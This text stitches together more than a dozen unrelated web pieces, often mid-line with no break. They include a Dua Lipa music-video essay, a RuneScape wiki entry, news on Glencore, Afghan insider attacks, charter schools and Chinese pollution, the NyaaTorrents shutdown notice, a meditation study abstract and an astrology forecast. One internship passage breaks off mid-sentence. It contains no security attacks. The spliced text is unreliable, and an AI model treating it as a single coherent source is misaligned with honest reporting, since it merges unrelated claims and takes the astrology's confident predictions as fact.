The theme of supportiveness is continued in the music video (below), as is the sense of conflicting emotions. The opening shot pans to a hotel named, in neon, ‘The Confidante’. The scene is of a group of women, whose roles and identities seem to be fluid and free-flowing between each other. There’s a sleepover vibe. One of the women accompanying Dua Lipa wipes out a heart she draws in the condensation on the bathroom mirror. They synchronise their movements. “Don’t let him in, you have to kick him out again” is choreographed with Dua Lipa opening the door, and being marched backwards into the room by another woman, who appears to be addressing her.
At the third repetition of the pre-chorus and chorus (“One: don’t pick up the phone…”), the choreography is also loosely repeated for the third time. But this time, roles are reversed: Dua Lipa stops her friend picking up the phone, and marches another backwards into the room. She’s regained power and control. She’s in a position to help others.
The dancers could be interpreted as being an extension of the self, the inner support network that allows Dua Lipa to implement the rules she's created. Or, they could be a real support network, a group of friends on duty to help her stick to her guns. Probably, it’s a combination of the two. But whatever the intention, the message is clear: it's not just that women support women. Women understand each other deeply. We feel each other's pain.
Although Dua Lipa's story is on a different level from the trauma faced by survivors of sexual assault and harassment, it's an appropriate song to have playing in the background of the #metoo movement. The women in the video are close-knit and supportive and viscerally feel the experiences of the others. When they brush each other’s hair in single file, there is a profound sense of calm supportiveness. The alternation in the lyrics between first person and second person (from “But my love, he doesn't love me, so I tell myself, I tell myself” to “You know he’s only calling cos he’s drunk and alone”) feels like the process that so many women are going through: recounting their story in their head, telling their story to others, counselling themselves, and counselling their friends. It's refreshing to have this process shown to us in a format as emotionally charged, yet gentle, as pop music. It’s even more refreshing when the music offers us a way of overcoming the experience without having to feel grateful for it.
Chanting the mantra gives Dua Lipa strength. This is apparent in the music video: her expressions change, her movements become more assertive, and, having been moping in a hotel room, she ends up outside in the sunshine. She goes from a Dido-esque tragic heroine, draping herself over furniture and floating barefoot down corridors, to assertive and sassy, handing out sage advice to her friends, and literally walking on water (I’m sure this is also an Important Metaphor™). We watch her solve her problems by sticking to her own rules. This pragmatism is empowering, and driven by an assertive tempo and powerful beat. But her call for "my love" retains its sadness. Before we can move on from anything, we have to acknowledge the pain. Women are healing collectively, and as individuals. Dua Lipa reminds us that sometimes something as simple and practical as a mantra can help us find strength from within.
Follow Emily on Twitter.Guthixian butterflies are creatures that are manifestations of Guthix's memories. They can rarely spawn when picking a butterfly flower plant, when gaining Farming experience in the Crwys Clan district while the Voice of Seren is active, surface skilling in Menaphos with an overall reputation rank of 4 (those spawns can be toggled off by speaking to the Impling collector) or higher, or while harvesting divine energy with the Harmony of Naragun buff activated. Picking up an engram and rising up in prestige in the Memorial to Guthix will always spawn one.
When caught, players are awarded experience in their lowest skill (the one with the least experience) and the caught butterfly disappears in a puff of coloured smoke. If the butterfly outfit is worn, butterflies are always caught on the first attempt. A player with all skills at level 99 will gain experience in any of the skills with a higher level cap, as long as they are below level 120, otherwise they gain experience in the lowest experience skill. Experience awarded can be turned off by talking to either Memstix by the Tribute stone north of Falador or Orla at the Memorial to Guthix.
They initially appeared worldwide during the Tribute to Guthix event, but were removed from the game with the conclusion of the event on 2 April 2013. Afterwards they were returning during the Cabbage Facepunch Bonanza in 2014 and the corresponding Easter event every year afterwards.
During the events, catching five butterflies unlocked one of fifteen Guthixian memories. Each butterfly restored 15% of either your life points, Prayer points, or your Summoning level, whichever was depleted most. If all three stats were at or above their maximum, one was randomly selected and temporarily boosted up to 5% above its maximum. Only twenty butterflies could be caught for experience each day, and subsequent butterflies gave only stat boosts or restoration. Players having completed the 2016 Easter event were able to catch 5 more butterflies daily that year. Butterflies spawned by in-game activities were not affected by the daily cap, did not restore stats, and did not contribute to unlocking memories.
Butterflies caught after the daily limit also did not count towards unlocking Guthixian memories, limiting the daily number to four. Players could continue to catch the butterflies for fun, but simply received the message "You manage to catch the butterfly." It was possible to talk to Memstix to toggle on/off receiving experience when catching Guthixian butterflies.
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Experience
Experience gained from the butterflies acts like the Tears of Guthix distraction and diversion. Experience for elite skills like Invention is half of the table below.
The experience $ x $ gained at level $ l $ is:
$ x = \begin{cases} 6 \times l & \text{if } l < 40 \\ 16 \times l & \text{if } 40\le l < 80 \\ 22 \times l & \text{if } l \ge 80 \end{cases} $
Experience table Level Experience
(each) Experience
(for 20) Level Experience
(each) Experience
(for 20) Level Experience
(each) Experience
(for 20) 1 6 120 41 656 13,120 81 1,782 35,640 2 12 240 42 672 13,440 82 1,804 36,080 3 18 360 43 688 13,760 83 1,826 36,520 4 24 480 44 704 14,080 84 1,848 36,960 5 30 600 45 720 14,400 85 1,870 37,400 6 36 720 46 736 14,720 86 1,892 37,840 7 42 840 47 752 15,040 87 1,914 38,280 8 48 960 48 768 15,360 88 1,936 38,720 9 54 1,080 49 784 15,680 89 1,958 39,160 10 60 1,200 50 800 16,000 90 1,980 39,600 11 66 1,320 51 816 16,320 91 2,002 40,040 12 72 1,440 52 832 16,640 92 2,024 40,480 13 78 1,560 53 848 16,960 93 2,046 40,920 14 84 1,680 54 864 17,280 94 2,068 41,360 15 90 1,800 55 880 17,600 95 2,090 41,800 16 96 1,920 56 896 17,920 96 2,112 42,240 17 102 2,040 57 912 18,240 97 2,134 42,680 18 108 2,160 58 928 18,560 98 2,156 43,120 19 114 2,280 59 944 18,880 99 2,178 43,560 20 120 2,400 60 960 19,200 100 2,200 44,000 21 126 2,520 61 976 19,520 101 2,222 44,440 22 132 2,640 62 992 19,840 102 2,244 44,880 23 138 2,760 63 1,008 20,160 103 2,266 45,320 24 144 2,880 64 1,024 20,480 104 2,288 45,760 25 150 3,000 65 1,040 20,800 105 2,310 46,200 26 156 3,120 66 1,056 21,120 106 2,332 46,640 27 162 3,240 67 1,072 21,440 107 2,354 47,080 28 168 3,360 68 1,088 21,760 108 2,376 47,520 29 174 3,480 69 1,104 22,080 109 2,398 47,960 30 180 3,600 70 1,120 22,400 110 2,420 48,400 31 186 3,720 71 1,136 22,720 111 2,442 48,840 32 192 3,840 72 1,152 23,040 112 2,464 49,280 33 198 3,960 73 1,168 23,360 113 2,486 49,720 34 204 4,080 74 1,184 23,680 114 2,508 50,160 35 210 4,200 75 1,200 24,000 115 2,530 50,600 36 216 4,320 76 1,216 24,320 116 2,552 51,040 37 222 4,440 77 1,232 24,640 117 2,574 51,480 38 228 4,560 78 1,248 24,960 118 2,596 51,920 39 234 4,680 79 1,264 25,280 119 2,618 52,360 40 640 12,800 80 1,760 35,200 120 2,640 52,800
Messages
General message
You manage to catch the butterfly (X/Y of your daily limit for XP). Y being either 20 normally or 25 in 2016 if the player completed the 2016 Easter event.
You manage to catch the butterfly. You have now caught your daily limit for XP; you should return for more tomorrow!
Skill based messages
Skill based messages are the same as the ones when doing Tears of Guthix. During the events and depending on the image that is shown when caught, the butterflies boost your life points, prayer points or summoning points.
Skill Message Attack You feel a brief surge of aggression. Strength Your muscles bulge. Defence You feel very defensive. Ranged Your aim improves. Prayer You suddenly feel very close to the gods. Magic You feel magical power coursing through your body. Constitution You feel very healthy. Agility You feel very nimble. Herblore You gain a deep understanding of all kinds of strange plants. Thieving You feel your respect for others' property slipping away. Crafting Your fingers feel nimble and suited to delicate work. Fletching You gain a deep understanding of wooden sticks. Mining You gain a deep understanding of the stones of the earth. Smithing You gain a deep understanding of all types of metal. Fishing You gain knowledge about various sea creatures. Cooking You gain knowledge about various cuisines. Firemaking You have a brief urge to set light to something. Woodcutting You gain a deep understanding of the trees in the wood. Runecrafting You gain a deep understanding of runes. Slayer You gain a deep understanding of many strange creatures. Farming You gain a deep understanding of the cycles of nature. Construction You feel homesick. Hunter You briefly experience the joy of the hunt. Summoning You feel at one with nature. Dungeoneering You feel the mysteries of Daemonheim unravel. Divination You briefly feel the power of the anima mundi pass over you. Invention You suddenly find your mind is full of ideas.
During events
The butterflies appeared during the Tribute to Guthix, Cabbage Facepunch Bonanza, 2016, 2017 Easter events, and the Spring Fayre (2018).
Locations
The butterflies could be found in various places across the world. They were located on the minimap and appeared as yellow dots.
Rewards
When caught, these butterflies give experience on the lowest skill. The amount of experience increases with the skill level. If you have at least 99 in all skills but don't have level 120 Dungeoneering, you'll get experience for Dungeoneering.
Catching butterflies also boosts Summoning, Prayer, and Life points above the nominal maximum. The boosted skill is shown in the glow after the butterfly is caught. Free players may see a Summoning glow but their summoning level cannot be restored to over 5, in the case of a past member.
The Summoning boost does not allow you to infuse pouches higher than your normal level, but it does allow you to do Ancient Effigies above your normal level.
TriviaGlencore's Mangoola Coal Mine in the Hunter Valley. Image via Lock the Gate Alliance Flickr
On Tuesday, the Australian share market lost $56 billion [$39 billion USD] on the back of a global shitstorm with international mining giant Glencore at its center.
Glencore is one of the most powerful companies in the world. Founded in 1974, Glencore only revealed itself to be a hulking behemoth on the world stage when it went public in May 2011, instantly turning its board of directors into billionaires.
The Swiss company now sits at the center of the global commodities market with interests in everything from wheat to iron ore, copper, coal, and oil. In Australia, it owns a string of coal mines in New South Wales and Queensland and is one of the world's biggest dealers in thermal coal. It also owns zinc, copper, and nickel mines across the various mining states.
In its time, the company has worked up a resume that has seen it implicated in circumventing UN Sanctions against tinpot dictators, driving up world food prices and possibly the deaths of anti-mine activists in the Philippines. It also makes a shit-ton of money.
But it's that capacity to continue making money that was called into question over the last two days.
Glencore has made a habit of borrowing big to fund new acquisitions over the years and in the past, industry observers have noted out how this might be bad should things go wrong on the global commodities market.
When China was swallowing whatever raw metals Australia could send its way, that wasn't a problem. Just like anyone who pointed out that the mining boom would end, critics were just killjoys. Then earlier this week a report by analyst Hunter Hillcoat asked what would happen to the company if world markets had found a new normal and global commodity prices stayed the same.
What the events of the last 48 hours show is the vulnerability of the Australian economy to forces beyond its control.
The answer was that Glencore was probably doomed. Some analysts put the company's debt at $50 billion [$35 billion USD] and in an environment where Chinese demand is crashing alongside a global oversupply in resources such as iron ore, investors decided to bail.
A massive, worldwide sell-off of resource assets follow where Glencore itself lost one third of its value and the company's CEO, Ivan Glasenberg, saw his personal wealth of $1.9 billion [$1.3 billion USD] fall by $500 million [$350 million USD]. Other big mining companies, such as Rio Tinto and BHP Billiton were also hit, but not nearly as hard.
The entire situation has people now asking whether Glencore is the resource sector's "Lehman Brothers," referring to the American bank that traded in sketchy "subprime" loans to the point where it collapsed in 2008, taking the world's economy with it.
Glencore, of course, is trying to cool things down. Everything is fine, they've said. In a nutshell, the company says the sell-off was just a panic that began on bad information, and the whole thing is just a temporary bump in the road. The resource market will recover eventually, prices will go up and the company will be all good. There are "absolutely no solvency issues." Thumbs up.
Which seems to have been enough to squash rumors that led to the sell-off, even if the company has a debt-to-equity ratio of 1.12, almost double Rio Tinto's ratio of 0.59 and S&P Capital IQ has been betting against the company, giving it a 53 percent chance of default in five years.
Should it go under tomorrow, Glencore's sudden, fiery demise would mean hell for the global economy, and particularly Australia which coasted through the last decade on high coal and iron prices.
The health of the Australian economy has been bound to the mines that once powered it through the Global Financial Crisis, making it the Saudi Arabia of the Pacific. And what the events of the last 48 hours show is the vulnerability of the Australian economy to forces beyond its control.
On balance, whether Glencore will actually go under remains to be seen. What is certain though is that mines will close and more jobs will go as the company, and even some of its competitors, seek to sure themselves up. BHP alone shed 1620 employees in Australia this week.
The only other certainty is that those who play the market are banking hard on their faith that the market will always bounce back. Until, like one day in 2008, when it didn't.
Follow Royce on Twitter.NyaaTorrents has shut down a guest May 3rd, 2017 42,152 Never a guest42,152Never
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rawdownloadcloneembedreportprint text 1.24 KB May 3, 2017 On May 1, 2017, NyaaTorrents officially ceased operations. At time of this writing, nothing remains of the site. These are actions taken by the owner of the site and not a result of some form of internal subversion or engagement by government or legal entities. The exact reasons for shutdown remain a mystery to all but the anonymous owner, but remaining former NT associates are led to believe that based on the circumstances surrounding closure, it was in response to recent court rulings that had the potential to affect site operations in the future. Rather than face this possibility, and any repercussions it would have on all parties involved, the owner decided to bring everything to a complete end. Based on operating principles, nothing will remain of the original site and all content, to include back-end, front-end, and all databases, has likely been purged. There are no plans to continue any activity under the NyaaTorrents banner. Any projects that occur from here on out are not associated with the original site. The above serves as an official statement by what remains of the site. Further questions can be directed via IRC to those remaining in #NyaaTorrents on irc.rizon.net. - The (former) NyaaTorrents moderation staff
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May 3, 2017 On May 1, 2017, NyaaTorrents officially ceased operations. At time of this writing, nothing remains of the site. These are actions taken by the owner of the site and not a result of some form of internal subversion or engagement by government or legal entities. The exact reasons for shutdown remain a mystery to all but the anonymous owner, but remaining former NT associates are led to believe that based on the circumstances surrounding closure, it was in response to recent court rulings that had the potential to affect site operations in the future. Rather than face this possibility, and any repercussions it would have on all parties involved, the owner decided to bring everything to a complete end. Based on operating principles, nothing will remain of the original site and all content, to include back-end, front-end, and all databases, has likely been purged. There are no plans to continue any activity under the NyaaTorrents banner. Any projects that occur from here on out are not associated with the original site. The above serves as an official statement by what remains of the site. Further questions can be directed via IRC to those remaining in #NyaaTorrents on irc.rizon.net. - The (former) NyaaTorrents moderation staffGet ready for the love revolution!
Full moon in Sagittarius 20th June at 29 degrees 11.02 UTC
This exceptional second full moon in Sagittarius in one month, marks the end of an era and old paradigm and the beginning of the new.
Venus, the planet of love and harmony has been in close vicinity of the sun, since April 26th and will continue to be until 15th July, paving the way for the love revolution when Jupiter enters Libra on September 9th until October 10th, 2017.
Jupiter in Libra is ruled by Venus and will herald in a new phase, bringing the themes of love, peace, harmony and justice to the fore on both a personal and global level. And together with Uranus and Eris the Great Awakeners, this is nothing short of an inner and outer revolution of love.
The full moon in opposition to the Sun in Gemini as well as Venus in Cancer also takes place on the same day as the Summer Solstice.
Making the full moon even more potent as the last time this happened was in 1967 (UTC), the summer of the love revolution back in the 1960’s.
The next one won’t be until 21st June 2062.
Yet another exceptional event happening on the same day as the full moon, is Jupiter in Virgo exactly conjuncts the north nodes of fate at 15 degrees for the 3rd and last time in one year.
The last time Jupiter met up with the nodes of fate three times in a year was in 1842.
Jupiter is the ruler of Sagittarius so this is a very exceptional and auspicious event.
It’s a turning point leaving the old way of being behind and opening the doors to new beginnings and our true destiny and fate.
The full Moon and Sun in opposition are both at 29 degrees, the degree of completion and self-mastery representing the ending of an important cycle. A cycle that started June 6th 2012 when we had a rare Venus Eclipse to the Sun.
We have completed the lessons needed to be learned about our ways of relating and loving, both to ourselves and others, leaving the old dysfunctional patterns behind. No more delusion of self or others but love based on truth and integrity.
The two consecutive full moons in Sagittarius in the sign of truth and expansion, have expanded our capacity to love based on truth.
After a course correction and redefinition of our needs and desires at the New moon in Gemini 4th June, it’s now a time to celebrate just how far we have come before embarking on our new path.
The changes that we have made within, since 2012 are ultimately going to help change the world through a higher level of consciousness and awareness that will ultimately explode into a personal and global love revolution when Jupiter enters Libra in September.
“We must become the change we wish to see in the world.”
Mahatma Gandhi
We can see similarities now to 1969 when Jupiter was in Libra. It was the time of the love revolution and peace movement following the Uranus conjunct Pluto years of exposing corrupt governments and corporations with revolutionary changes happening on a personal and global level.
Resulting in the love and peace revolution.
This cycle has come full circle for completion as we have seen similar happenings since 2012 with the Pluto-Uranus square that is now coming to an end,
Since then we have seen a new peace movement developing worldwide from a new generation. Demanding more equality and fairness based on transparency and truth.
Jupiter in Libra together with Uranus and Eris in Aries. The Great Awakeners will bring on the new Love revolution in full force on a personal and Global level.
“Love is what we are born with. Fear is what we learn. The spiritual journey is the unlearning of fear and prejudices and the acceptance of love back in our hearts. Love is the essential reality and our purpose on earth. To be consciously aware of it, to experience love in ourselves and others is the meaning of life. Meaning does not lie in things. Meaning lies in us.”
— Marianne Williamson
We are finally turning the corner and entering a new paradigm. Raising our consciousness and vibration, with the power of love.
Uranus in a flowing trine to the Moon and Sextile the Sun, is giving us an out of the box thinking mode enabling us to see everything from a new clear perspective. Helping us to find new solutions to old ways of thinking. A process that started at the.New moon in Gemini.
We will find that tensions have eased, now that Mars in Scorpio has broken free from the volatile and highly conflicting aspect to Mercury. Mars is now making healing aspects to Jupiter and Chiron. While still pushing for an inner and outer revolution with the aspect to (Inconjunct)Uranus
Last weeks Yod to Mars in Scorpio was digging deep, discovering our long-buried passions and desires, that have been buried under layers of fear, apathy and self-delusion. Igniting the passion of our souls once again and rooting out any toxic emotions blocking our higher path.
Especially where power has been chosen over love.
Resulting in a release of any last karmic baggage as the path we are embarking upon requires that we travel light.
“Where love rules, there is no will to power, and where power predominates, love is lacking. The one is the shadow of the other.”
― C.G. Jung
Neptune in Pisces turned retrograde last week, which at first can feel disorienting until we have adjusted to the new heightening of our sensitivity, intuition and awareness of our subconscious mind.
Dreams may be potent carrying hidden messages from our subconsciousness. Our intuition is stronger than ever, let this be our inner navigation guide.
Chiron the wounded healer is square the Sun, reminding us of our own woundedness. With many painful events happening as Mars retrograde unleashed much hidden anger and pain as we have seen e.g., the Orlando shootings R.I.P.
When confronted with our own mortality and woundedness we have two options, either to lash out at others with pain and destruction or to choose the power of love to heal ourselves and others.
With Venus so prominent we know love is the ONLY choice. We will become stronger than ever before in our resolution to heal with love. To bring light where there is darkness.
The wound is where the light enters.” – Rumi
Mercury in Gemini caught up in the tense Grand Mutable Square is asking us to still question the true motivations and honesty of any information being presented to us. We are.no longer prepared to accept things at face value. We need to stay aware and determine what our inner truths are at every step of the way.
We are almost there, turning the corner and opening the door to a better world. With the trine between Pluto, Jupiter and north nodes of fate supporting us in all our endeavours with good fortune and bestowing us with more self-confidence, we can dare to step through the door to a better world.
It’s up to us, the dreamers, healers and the revolutionaries to build a new world.
Love is all you need.
Vivienne Micallef Browne
© All rights reserved, Vivienne Micallef-Browne.Five Australian soldiers have been killed by Afghan trainees in two separate incidents on Wednesday and Thursday, in the latest of such “insider attacks” leaving a bad taste in the mouth of US officials seeking to finish out a lost war for another two years.
The number of such incidents, termed “green-on-blue” attacks have been increasing steadily as of late, with 35 of them so far this year, ending with 47 NATO members killed, mostly Americans.
The fact that all those killed in the last two incidents were Australian strains an already tense US relationship with Australia over the war in Afghanistan. In April, Australian Prime Minister Julia Gillard announced an early withdrawal to be completed a year before the Obama administration’s so-called withdrawal date at the end of 2014.
Gillard said the loss of the five military personnel the single worst day for her country in war since the Vietnam conflict.
The failure of the US mission in Afghanistan – to build up and train a centralized state and security apparatus – is illustrated clearly in the constant killing of US soldiers by their Afghan counterparts. Much of the security force has been infiltrated by the Taliban or Pakistani agents.
Earlier this month it was reported that the Taliban’s supreme leader Mullah Omar issued a statement bragging about extensive insurgent infiltration in America’s trained security personnel in Afghanistan.
“They are able to (safely) enter bases, offices and intelligence centers of the enemy,” he said. “Then, they easily carry out decisive and coordinated attacks, inflicting heavy losses on the enemy.”
As a former US official told Dexter Filkins of the New Yorker, “several hundred soldiers in the Afghan Army are thought to be agents for the Taliban or for Pakistan.” He said that many insurgents who have infiltrated the Afghan forces and killed US troops “had been planted in the Army by the Taliban or by Inter-Services Intelligence, Pakistan’s main intelligence branch.”
The US mission in Afghanistan has failed miserably. President Obama’s supposed justification for building up Afghan security forces is so they serve as a bulwark against a return to Taliban rule. But the Taliban have seeped deep into those forces the US is spending billions of dollars on training, and the insurgency is as strong as ever.
Last 5 posts by John GlaserDuring meditation, practitioners are required to center their attention on a specific object for extended periods of time. When their thoughts get diverted, they learn to quickly disengage from the distracter. We hypothesized that learning to respond to the dual demand of engaging attention on specific objects and disengaging quickly from distracters enhances the efficiency by which meditation practitioners can allocate attention. We tested this hypothesis in a global-to-local task while measuring electroencephalographic activity from a group of eight highly trained Buddhist monks and nuns and a group of eight age and education matched controls with no previous meditation experience. Specifically, we investigated the effect of attentional training on the global precedence effect, i.e., faster detection of targets on a global than on a local level. We expected to find a reduced global precedence effect in meditation practitioners but not in controls, reflecting that meditators can more quickly disengage their attention from the dominant global level. Analysis of reaction times confirmed this prediction. To investigate the underlying changes in brain activity and their time course, we analyzed event-related potentials. Meditators showed an enhanced ability to select the respective target level, as reflected by enhanced processing of target level information. In contrast with control group, which showed a local target selection effect only in the P1 and a global target selection effect in the P3 component, meditators showed effects of local information processing in the P1, N2, and P3 and of global processing for the N1, N2, and P3. Thus, meditators seem to display enhanced depth of processing. In addition, meditation altered the uptake of information such that meditators selected target level information earlier in the processing sequence than controls. In a longitudinal experiment, we could replicate the behavioral effects, suggesting that meditation modulates attention already after a 4-day meditation retreat. Together, these results suggest that practicing meditation enhances the speed with which attention can be allocated and relocated, thus increasing the depth of information processing and reducing response latency.Bishop E.W. Jackson has embarked on a campaign following his failed Senate bid to convince black voters to reject the Democrats’ “anti-God” views and partake in a “mass exodus of Christians from the Democrat party.”
Today in an opinion piece in the Washington Times, “Blacks are abandoning the Democratic Party,” Jackson asserted that African Americans will abandon the Democratic party over the issues of abortion rights and gay equality, incredulously asking how Democrats have “managed to hold on to black Christians in spite of an agenda worthy of the Antichrist?”
“Mr. Obama’s commitment to the radical left’s anti-Christian, anti-God politics may cost him the election,” Jackson writes, “because a constituency he has taken for granted has awakened to the truth that being the first black president is not enough.” Of course, recent polling shows that Obama has a commanding 94-0 lead among black voters.The upsides are plentiful. Students have more opportunities, especially during the school year, and they don’t incur commuting and housing expenses. Remote interns enjoy flexible hours, allowing them to juggle class schedules and even part-time jobs. Ms. Fitzpatrick works 12 to 15 hours a week, for college credit, and sometimes finds herself managing Do Something’s Facebook page late into the evening.
But while the experience may well prepare students for the new workplace order that Ms. Welzer describes, remote internships don’t always provide the crucial lessons that can |
in an intensely segregated setting.
Other studies in California, North Carolina, Minnesota and the District have reached similar conclusions. But some experts caution that many factors, including housing patterns and geography, can influence the racial distribution of students at any given school.
Nationally, evidence on charter school performance is mixed. Some are mired in financial difficulty and academic mediocrity. But there are clear examples of charter schools that provide poor and minority children with stronger educational opportunities.
[Five myths about charter schools]
The KIPP charter network says its students graduate from high school at a rate 20 percentage points higher than their low-income peers across the country do. At the all-male Urban Prep Charter Academy in Chicago, 100 percent of graduates have been accepted to college, including to Ivy League universities, over the past eight years.
Another option
People in Vacherie hope Greater Grace Charter Academy will be one of these beat-the-odds schools.
Teacher Lynette James leads students in an interactive learning exercise with the help of a touchable video screen at Greater Grace Charter Academy. (Max Becherer/Polaris Images for The Washington Post)
Housed in a cinder block building leased from a local church, Greater Grace is located in a town situated amid sugar cane fields on the west bank of the Mississippi. Each morning, students clad in maroon uniforms stream inside as flatbed trucks whiz by on the highway out front.
During the day, the children learn in trailers in the back, and at dismissal, they board the charter school’s yellow bus, bound for all corners of 260-square-mile St. James Parish, where the school is located.
But Greater Grace does not reflect the demographics of a parish school system that also has been trying to diversify its classrooms for decades under a court-ordered desegregation plan. Of the 3,800 students in St. James Parish, roughly two-thirds are black, and a third are white. At Greater Grace, more than 90 percent of students are black, giving rise to concerns that the new school has created yet another racially isolated setting.
[As D.C. gentrifies, some charter schools aim to reach broader spectrum]
When a federal judge allowed Greater Grace to open, he emphasized the value of parental choice. But black parents and the NAACP have appealed, arguing that Greater Grace should be closed until it can reopen with a more integrated approach. Oral arguments are scheduled for June at a federal appeals court in New Orleans.
Rhoda Johnson, a black plaintiff in the case, said she is troubled by the segregated nature of the new charter. As a child, she attended an all-black district school not far from where Greater Grace now stands.
“We used hand-me-down books from the white school,” recalled Johnson, 56, whose son and grandsons attend schools in the St. James public district.
Locals say that in this parish, dotted with antebellum plantations once powered by slave labor and now dependent on tourist dollars, one side always has been predominantly black and the other predominantly white. Even after decades of desegregation efforts, traditional public schools within the parish also remain intensely segregated, according to court records.
Claudette Aubert, the charter school’s founder, said it was time to give families in her rural community another option.
She opened Greater Grace last fall after learning that many students were falling years behind in reading and math at traditional public schools. The charter school offers small class sizes and computer-based instruction to help meet students at their level, Aubert said.
A pastor in St. James Parish and former special-education teacher, Aubert says she spent years educating residents about the possibilities a charter school could bring to their community.
It is still too early to tell whether Greater Grace will make good on its promise of a better education. But when the school opened its doors last year, 85 students enrolled.
“They showed up,” Aubert said. “They wanted another choice.”
Emma Brown contributed to this report, which was produced in partnership with the Investigative Reporting Workshop at American University, where McLaren is a student.The first Western downgrade of US government bonds is a fact! The German credit rating agency Feri lowered its rating on US debt by a full notch, from AAA to AA.
Here is the German press release: Feri Downgrades US Gov Debt AAA to AA
Here's the english translation:
Homburg, 8 June 2011 - The Bad Homburg Feri EuroRating & Research AG downgraded the first credit rating agency's credit rating for the United States from AAA to AA. Feri analysts justify the downgrade by the continuing deterioration of the creditworthiness of the country due to high public debt, inadequate fiscal measures, and weaker growth prospects.
"The U.S. government has fought the effects of the financial market crisis primarily by an increase in government debt. We do not see that there is sufficient attention being paid to other measures, "said Dr. Tobias Schmidt, CEO of Feri Rating & Research AG. "Our rating system shows a deterioration in economic health, so the downgrading of the credit ratings of U.S. is warranted."
For the third consecutive year the deficit of the United States is in double digit percentages relative to gross domestic product (GDP). "Deficits of such magnitude are not a sustainable fiscal policy. We would reconsider the rating when the U.S. government creates a long-term sustainable budget," said Schmidt.
Feri Rating is listed on the Federal Financial Supervisory Authority (BaFin) as an EU credit rating agency approved and created with more than 20 years experience in sovereign ratings. Every month, the Feri analysts evaluate sovereign credit ratings from the perspective of a foreign investor based on the ability and willingness of countries to repay their debts. The credit ratings have eleven possible gradations between "AAA" (best credit) and "Default".
>>> Smart Money Europe
Register for our Free Newsletter and follow us on Twitter.BATON ROUGE – Crime scene investigators from various agencies mixed with family and friends of a deceased child were at the scene of a bizarre and tragic crime Wednesday evening.
By nightfall, detectives were still piecing together the sequence of events that left the 12-year-old lifeless across Old Hammond Highway. Work putting everything together will likely last well into Thursday morning, and will be the responsibility of State Police.
The child died after being hit by a suspect, fleeing from Baton Rouge Police working a drug sting. Around 5:30 Wednesday evening, the child was killed when a car driven by Joshual Hilton, 32, of Baton Rouge, who authorities said drove down Old Hammond Highway in an attempt to evade them after being shot by the officers elsewhere. According to an affidavit, the 12-year-old boy ran across the street to get out of the way of the pursuit when Hilton struck him in his vehicle. Arrest records note, that the vehicle Hilton was driving was reported stolen from Tulsa, Oklahoma.
According to police, the officer involved in the shooting is on administrative leave at this time.
(Image: Joshual Hilton)
The child was hit, sources said, was walking home and died almost in front of his home at the corner of Gloria Drive and Old Hammond.
Neighbors identified the child as “Sammie” and was known around the area as a good kid, one they said was an all around good boy. Thursday morning, the coroner identified the child as Samuel Lee III.
“He was a wonderful child… he did not deserve this,” neighbor Brenda Whittenberg told WBRZ News 2.
Family of the child met with authorities at the crime scene.
In an interview Thursday, the boy's mother said her son was excited to grow up. "He was excited to be making thirteen this year... he wanted to be a teenager, he would always come up to me, [and say], 'Momma, momma, I'm getting hair under my arm,'" his mother said. Click HERE to read more.
The suspect stopped after hitting the child in his vehicle and a witness said the man got out of the car covered in blood, likely from the gunshot wound received when he was shot by police at the beginning of the chase. Hilton, the driver, was taken to a hospital and treated for the gunshot wound. Hilton was then booked into jail, charged with manslaughter, reckless operation and unauthorized use of a motor vehicle.
Friday, Hilton was charged with attempted first degree murder of a police officer, related to what sources said was an attmept to run over a cop before the chase started. WBRZ.com was first to report those details HERE.Last month, Chinese officials issued a general warning to foreign embassies, (but really aimed at the U.S.) to stop publishing reports about their country’s air quality.
The warning — in reference to a U.S. embassy Twitter account that, since 2008, has posted hourly readings of pollution levels of Beijing — illustrated how sensitive the government is about the country’s pollution problem.
And it's a problem that is becoming a growing concern among the public and considered a leading cause of civil unrest. The planned construction of industrial plants has sparked protests in some cities. Bowing to public pressure, officials shut down a planned copper plant for a southwestern China city on Wednesday after thousands protested the possible health impact from the facility.
But is China's pollution really that bad?
Thousands protested against a copper alloy project they fear will lead to poisonous pollution in southwestern China. (Reuters)
According to the Environmental Performance Index, a bi-annual report put out by Yale University and Columbia University that ranks countries based on a number of environmental factors, India ranked last out of 132 countries.
Yet, China wasn't far off, coming in at 128. Its overall index rank, which, along with air quality, included factors such as water, agriculture, and climate change was 116. (India came in at 125).
Leads in emissions
But China is still considered one of the biggest polluters in the world and leads in a number of categories including CO2, sulphur dioxide and mercury and arsenic emissions.
China’s pollution comes mostly from its coal-fired power plants and motor vehicle emissions which emit large quantities of particulate matter and sulfur dioxide.
Part of the reason the Chinese government is so irked at the U.S. reporting pollution data is that their pollution standards are more stringent which means pollution levels considered unhealthy in the U.S. are often classified as good by China.
"Air pollution in China is notorious for its magnitude," wrote researchers at the MIT Joint Program on the Science and Policy of Global Change in one study looking at the effects of the country's pollution on GDP.
In 1980, levels of particulate matter in China were at least 10 to 16 times higher than the World Health Organization’s annual guideline value, according to the authors. In 2005, as air quality had substantially improved, the levels were still around five times higher.
Soil contamination concerns
China also has problems with soil contamination from arsenic and other heavy metals from mines and factories. Zhou Jianmin, director of the China Soil Association, told the Guardian last month that he estimated that one-tenth of China’s farmland was affected. Soil contamination could have potentially dire consequences for food production and human health, scientists told the Guardian.
"The country, the government and the public should realize how serious the soil pollution is," Jianmin said. "More areas are being affected, the degree of contamination is intensifying and the range of toxins is increasing."
Water pollution is also a growing challenge. China's own government has admitted that about 14 per cent of China's water sources had unqualified drinking water and that 11.4 per cent of water supplies to cities were unsafe.
Government statistics from 2009 reveal that nearly 20 per cent of the length of China's monitored rivers and lakes had pollution worse than Grade 5, making the water officially unfit for even irrigating crops, Reuters reported.
The concern now is that the health impact from pollution is chipping away at the economic gains made due to industrialization.
The MIT study noted that three decades of unprecedented growth in China has given rise to "important quality of life improvements for the more than half a billion people who have been raised out of poverty." But this has come with a price.
"China now faces severe challenges relating to its environment, including air pollution, the availability of clean water, and desertification, the report said.
"Issues such as these have the potential to create constraints on future growth. Those environmental problems that result in negative health outcomes, such as contaminated water and high levels of air pollution, also incur real costs on the individuals, the health system, and the economy as a whole."
GDP affected by pollution
A World Bank study estimated that damage to human health from air pollution in China was around 4 per cent to 5 per cent of GDP levels between 1995 and 2003. But the MIT study estimated the damage at around 6 per cent to 9 per cent of GDP.
In fact, the study estimated that lost labour and health care costs associated with pollution cost the Chinese economy $112 billion in 2005.
The OECD recently released a report estimating that the number of premature deaths from exposure to particulate matter is projected to more than double worldwide to nearly 3.6 million per year in 2050, with most deaths occurring in China and India.
Some Chinese officials have been surprisingly frank in expressing their concerns.
